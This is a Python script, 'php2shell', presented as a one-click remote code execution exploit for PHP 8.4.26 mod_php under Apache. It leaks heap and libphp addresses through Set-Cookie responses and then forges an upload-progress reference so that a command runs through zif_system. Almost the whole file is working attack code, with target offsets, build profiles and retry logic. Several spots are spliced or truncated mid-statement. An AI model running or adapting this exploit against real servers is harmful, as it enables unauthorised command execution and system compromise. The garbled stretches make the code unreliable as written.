#!/usr/bin/env python3 """ Exploit credited to 9bie, adjusted using AI by OffSec php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork. Default profile: official php:8.4.26-apache image (Apache 2.4.69). Lab build (Apache 2.4.68, minimal PHP): use --profile lab. Chain (all attacker traffic is plain HTTP): stage 0 HTTP worker rotation stage 1 Set-Cookie heap leak -> Zend MM chunk base stage 2 Set-Cookie libphp leak -> libphp base (ZVAL_PTR_DTOR) stage 3 upload_progress fake-ref -> pDestructor = zif_system Requirements on the target (the shipped docker/ setup matches these settings): display_errors=1, memory_limit=8M, max_input_vars=1000, session.use_cookies=1, session.use_strict_mode=0, session.upload_progress.enabled=1, single-worker prefork. Usage: python3 exploit.py -u http://127.0.0.1:8088/index.php python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1 python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1 The command is embedded in a 167-byte live zend_string; the maximum command length for this payload layout is 14 bytes. For a longer command, chain it through a short shell trigger, e.g. `sh bytes: out = bytearray() for p in parts: name = p["name"].encode() out += b"--" + boundary + b"\r\n" out += b'Content-Disposition: form-data; name="' + name + b'"' if p.get("filename") is not None: out += b'; filename="' + p["filename"].encode() + b'"' out += b"\r\nContent-Type: application/octet-stream" out += b"\r\n\r\n" + p["data"] + b"\r\n" out += b"--" + boundary + b"--\r\n" return bytes(out) def read_offsets_file(path: str) -> dict[str, int]: """Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py.""" vals: dict[str, int] = {} if not path: return vals try: with open(path, "r", encoding="utf-8") as f: for line in f: line = line.strip() if not line or line.startswith("#") or "=" not in line: continue key, val = line.split("=", 1) vals[key.strip()] = int(val.strip(), 0) except (OSError, ValueError): pass return vals class Target: def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True): u = urllib.parse.urlsplit(url) if u.scheme not in ("http", "https"): raise ValueError("URL must be http:// or https://") self.https = u.scheme == "https" self.host = u.hostname or "127.0.0.1" self.port = u.port or (443 if self.https else 80) self.path = u.path or "/" self.timeout = timeout self.verbose = verbose def log(self, msg: str) -> None: if self.verbose: print(msg, flush=True) def _connect(self): last = None for _ in range(10): try: s = socket.create_connection((self.host, self.port), timeout=self.timeout) if self.https: ctx = ssl.create_default_context() s = ctx.wrap_socket(s, server_hostname=self.host) try: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) except OSError: pass return s except OSError as e: last = e time.sleep(0.3) raise last # type: ignore[misc] def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20, timeout: float | None = None, extra_headers: dict[str, str] | None = None) -> bytes: extra = "" for k, v in (extra_headers or {}).items(): extra += f"{k}: {v}\r\n" hdr = ( f"POST {self.path} HTTP/1.1\r\n" f"Host: {self.host}:{self.port}\r\n" f"{extra}" f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" f"Content-Length: {len(body)}\r\n" "Connection: close\r\n" "\r\n" ).encode() s = self._connect() s.settimeout(timeout or self.timeout) # Read concurrently with the upload: some exploit requests make the # worker abort right after sending Set-Cookie, and a recv() that starts # after the RST loses the already-buffered response. data = bytearray() def _reader() -> None: try: while len(data) < read_cap: chunk = s.recv(65536) if not chunk: break data.extend(chunk) except OSError: pass reader = threading.Thread(target=_reader, daemon=True) reader.start() try: try: s.sendall(hdr) mv = memoryview(body) for off in range(0, len(body), 262144): s.sendall(mv[off:off + 262144]) except OSError: pass # the worker may abort while the body is still in flight reader.join(timeout=(timeout or self.timeout) + 1.0) return bytes(data) finally: s.close() def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]: hdr = ( f"GET {path} HTTP/1.1\r\n" f"Host: {self.host}:{self.port}\r\n" "Connection: close\r\n" "\r\n" ).encode() s = self._connect() s.settimeout(self.timeout) try: s.sendall(hdr) data = bytearray() try: while len(data) < read_cap: chunk = s.recv(65536) if not chunk: break data += chunk except OSError: pass finally: s.close() head, _, body = bytes(data).partition(b"\r\n\r\n") m = re.match(rb"HTTP/1\.[01] (\d{3})", head) return (int(m.group(1)) if m else 0), body def parse_cookie(resp: bytes) -> bytes: m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp) if not m: return b"" return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1")) def chunk_base_from_cookie(raw: bytes) -> int: """Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie.""" if len(raw) < 1000: return 0 c: Counter[int] = Counter() for i in range(len(raw) - 8): v = int.from_bytes(raw[i:i + 8], "little") if 0x7F0000000000 <= v < 0x800000000000: c[v & ~0x1FFFFF] += 1 if not c: return 0 base, count = c.most_common(1)[0] return base if count >= 8 else 0 def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int: """Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor. The page-aligned check is 4KB, not 2MB: the lab build happened to map libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it at a 4KB boundary (e.g. base 0x...acdb000). """ if len(raw) < 16: return 0 p = int.from_bytes(raw[8:16], "little") if not (0x7F0000000000 <= p < 0x800000000000): return 0 if p & 0xFFF != dtor_offset & 0xFFF: return 0 base = p - dtor_offset return base if base & 0xFFF == 0 else 0 class Exploit: def __init__(self, target: Target, cmd: str, zif_offset: int = ZIF_OFFSET, dtor_offset: int = DTOR_OFFSET, htdata_offset: int = HTDATA_OFFSET, huge_mb: int = 12, verbose: bool = True, profile: str = "lab"): self.t = target self.cmd = cmd.encode() self.zif_offset = zif_offset self.dtor_offset = dtor_offset self.htdata_offset = htdata_offset self.huge_mb = huge_mb self.verbose = verbose self.profile = profile if profile == "bookworm": # official php:8.4.26-apache (Debian 12, Apache 2.4.69) self.stage1_n = BOOKWORM_STAGE1_N self.stage2_t = BOOKWORM_STAGE2_T self.stage2_v = BOOKWORM_STAGE2_V self.stage3_pads = list(BOOKWORM_STAGE3_PADS) self.stage3_carrier = True else: self.stage1_n = 892 self.stage2_t = 443 self.stage2_v = 1 self.stage3_pads = [(8, 7)] + [(7, 7)] * 5 self.stage3_carrier = False # ---------- request primitives (shapes match tools/*.py) ---------- def _big_field(self) -> dict: return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)} def _file_part(self) -> dict: return {"name": "f", "filename": "a.txt", "data": b"A" * 64} def rotate(self) -> None: """Abort the current worker over HTTP; prefork forks a fresh one.""" self.t.log("[*] rotating worker over HTTP") parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)] parts += [ {"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file_part(), self._big_field(), ] self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, read_cap=1 << 20, timeout=max(90.0, self.t.timeout)) time.sleep(0.3) # Session-initializing B with no file part: pre-RINIT cleanup walks the # corrupted heap and the child aborts. parts = [ {"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, ] self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345", read_cap=65536, timeout=20.0) time.sleep(0.5) def stage1(self) -> int: """Leak the Zend MM chunk base.""" parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)] parts += [ {"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file_part(), self._big_field(), ] self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, read_cap=1 << 20, timeout=max(90.0, self.t.timeout)) time.sleep(0.2) parts = [ {"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, ] for i in range(self.stage1_n): val = (f"v{i:04d}" + "x" * 44)[:48] parts.append({"name": str(1000 + i), "data": val.encode()}) forge = bytearray(b"A" * 79) struct.pack_into(" int: """Leak libphp base through a 56-byte HashTable page.""" parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)] parts += [ {"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file_part(), self._big_field(), ] self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, read_cap=1 << 20, timeout=max(90.0, self.t.timeout)) time.sleep(0.2) parts = [ {"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, ] for i in range(983): cnt = 16 if i == self.stage2_t else 1 for j in range(cnt): parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v}) resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10, read_cap=1 << 20) return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset) def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]: cmd = self.cmd if len(cmd) > MAX_CMD: raise ValueError( f"command is {len(cmd)} bytes; the 167-byte carrier allows at most " f"{MAX_CMD} (e.g. use 'sh None: """Write the fake reference over PS(http_session_vars) and execute.""" parts = [ {"name": "PHPSESSID", "data": b"a" * 19}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3}, ] specs = self.stage3_pads for i, (nl, vl) in enumerate(specs): name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl] parts.append({"name": name, "data": b"V" * vl}) parts += [self._file_part(), self._big_field()] extra = None if self.profile == "bookworm": # Keep PS(id) valid: php_session_initialize then leaves # send_cookie=0, so B's init does not allocate the Set-Cookie # header at R0+16 (which would clobber val.type). extra = {"Cookie": "PHPSESSID=" + "a" * 32} self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, read_cap=1 << 20, timeout=max(90.0, self.t.timeout), extra_headers=extra) time.sleep(0.3) ht, ref = self._fake_payload(htdata, zif) parts = [ {"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, ] if self.stage3_carrier: # The bookworm reference is still alive (rc=2). A 15-byte # bin-40 zend_string lands its chars exactly at # PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the # low 7 bytes of val.value to the fake HashTable, and let the # high byte stay 0x00 (canonical 0x00007f... pointer). carrier = struct.pack(" int: ap = argparse.ArgumentParser( description="php2shell one-click exploit (official php:8.4.26-apache / lab)", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) ap.add_argument("-u", "--url", required=True, help="target PHP page, e.g. http://127.0.0.1:8088/index.php") ap.add_argument("-c", "--cmd", default=DEFAULT_CMD, help=f"command to execute (max {MAX_CMD} bytes)") ap.add_argument("--proof-file", default=DEFAULT_PROOF, help="read this local file after exploitation; '' disables") ap.add_argument("--fetch", default="", help="GET this path afterwards (for commands writing to webroot)") ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None, help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})") ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None, help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})") ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm", help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)") ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None, help="chunk-relative offset of the 167-byte live string") ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS, help="read libphp offsets from this file ('' to disable)") ap.add_argument("--docker-container", default="php2shell-target", help="container used to auto-derive offsets on localhost") ap.add_argument("--no-auto-offsets", action="store_true", help="never run docker/offsets.py automatically") ap.add_argument("--huge-mb", type=int, default=12, help="size of the OOM field; must exceed memory_limit") ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout") ap.add_argument("--no-pre-rotate", action="store_true", help="skip the initial worker rotation") ap.add_argument("--no-retry-rotate", action="store_true", help="do not rotate between failed stage attempts") ap.add_argument("--retries", type=int, default=3, help="attempts per leak stage; stage 3 uses retries+2") ap.add_argument("-q", "--quiet", action="store_true") args = ap.parse_args() if len(args.cmd.encode()) > MAX_CMD: ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier") if args.htdata_offset is None: args.htdata_offset = (BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm" else HTDATA_OFFSET) local_offsets = read_offsets_file(args.offsets_file) t = Target(args.url, timeout=args.timeout, verbose=not args.quiet) # A local docker target may be built from a different image/toolchain than # the lab; ask the container for its real libphp offsets once. if (not local_offsets and not args.no_auto_offsets and args.offsets_file and t.host in ("127.0.0.1", "localhost", "::1")): helper = os.path.join(_HERE, "docker", "offsets.py") if os.path.exists(helper): if not args.quiet: print("[*] no offsets file; reading libphp symbols from " f"container {args.docker_container}", flush=True) try: subprocess.run( [sys.executable, helper, args.docker_container, args.offsets_file], check=False, timeout=60, stdout=None if not args.quiet else subprocess.DEVNULL, stderr=None if not args.quiet else subprocess.DEVNULL, ) except (OSError, subprocess.SubprocessError): pass local_offsets = read_offsets_file(args.offsets_file) if args.zif_offset is None: args.zif_offset = local_offsets.get("ZIF_OFFSET", ZIF_OFFSET) if args.dtor_offset is None: args.dtor_offset = local_offsets.get("DTOR_OFFSET", DTOR_OFFSET) ex = Exploit(t, args.cmd, zif_offset=args.zif_offset, dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset, huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile) t.log(f"[*] target {args.url} (cmd={args.cmd!r})") if local_offsets: t.log(f"[*] offsets loaded from {args.offsets_file}") t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} " f"htdata=0x{args.htdata_offset:x}") def rotate_after_failure() -> None: if not args.no_retry_rotate: ex.rotate() if not args.no_pre_rotate: ex.rotate() # ---- stage 1 ---- chunk = 0 for attempt in range(1, args.retries + 1): t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})") chunk = ex.stage1() if chunk: t.log(f"[+] chunk base = 0x{chunk:x}") break t.log("[-] heap leak missed") rotate_after_failure() if not chunk: print("HEAP_LEAK_FAILED", file=sys.stderr) return 1 ex.rotate() # each stage needs a fresh worker # ---- stage 2 ---- libphp = 0 for attempt in range(1, args.retries + 1): t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})") libphp = ex.stage2() if libphp: t.log(f"[+] libphp base = 0x{libphp:x}") break t.log("[-] libphp leak missed") rotate_after_failure() if not libphp: print("LIBPHP_LEAK_FAILED", file=sys.stderr) return 1 ex.rotate() # ---- stage 3 ---- htdata = chunk + args.htdata_offset zif = libphp + args.zif_offset t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}") proof = "" if args.proof_file: try: if os.path.exists(args.proof_file): os.unlink(args.proof_file) except OSError: pass for attempt in range(1, args.retries + 3): try: ex.stage3(htdata, zif) except OSError as e: t.log(f"[-] request error: {e}") time.sleep(0.8) if args.proof_file: try: if os.path.exists(args.proof_file): with open(args.proof_file, "rb") as f: proof = f.read().decode("latin1").strip() except OSError: pass if not proof and args.fetch: status, body = t.get(args.fetch) if status == 200: proof = body.decode("latin1").strip() if proof: t.log(f"[+] W3 attempt {attempt}") print(f"PROOF: {proof}") return 0 t.log(f"[-] stage 3 attempt {attempt} no proof yet") rotate_after_failure() print("EXPLOIT_FAILED (no proof; the command may still have executed blind)", file=sys.stderr) return 1 if __name__ == "__main__": try: sys.exit(main()) except KeyboardInterrupt: sys.exit(130)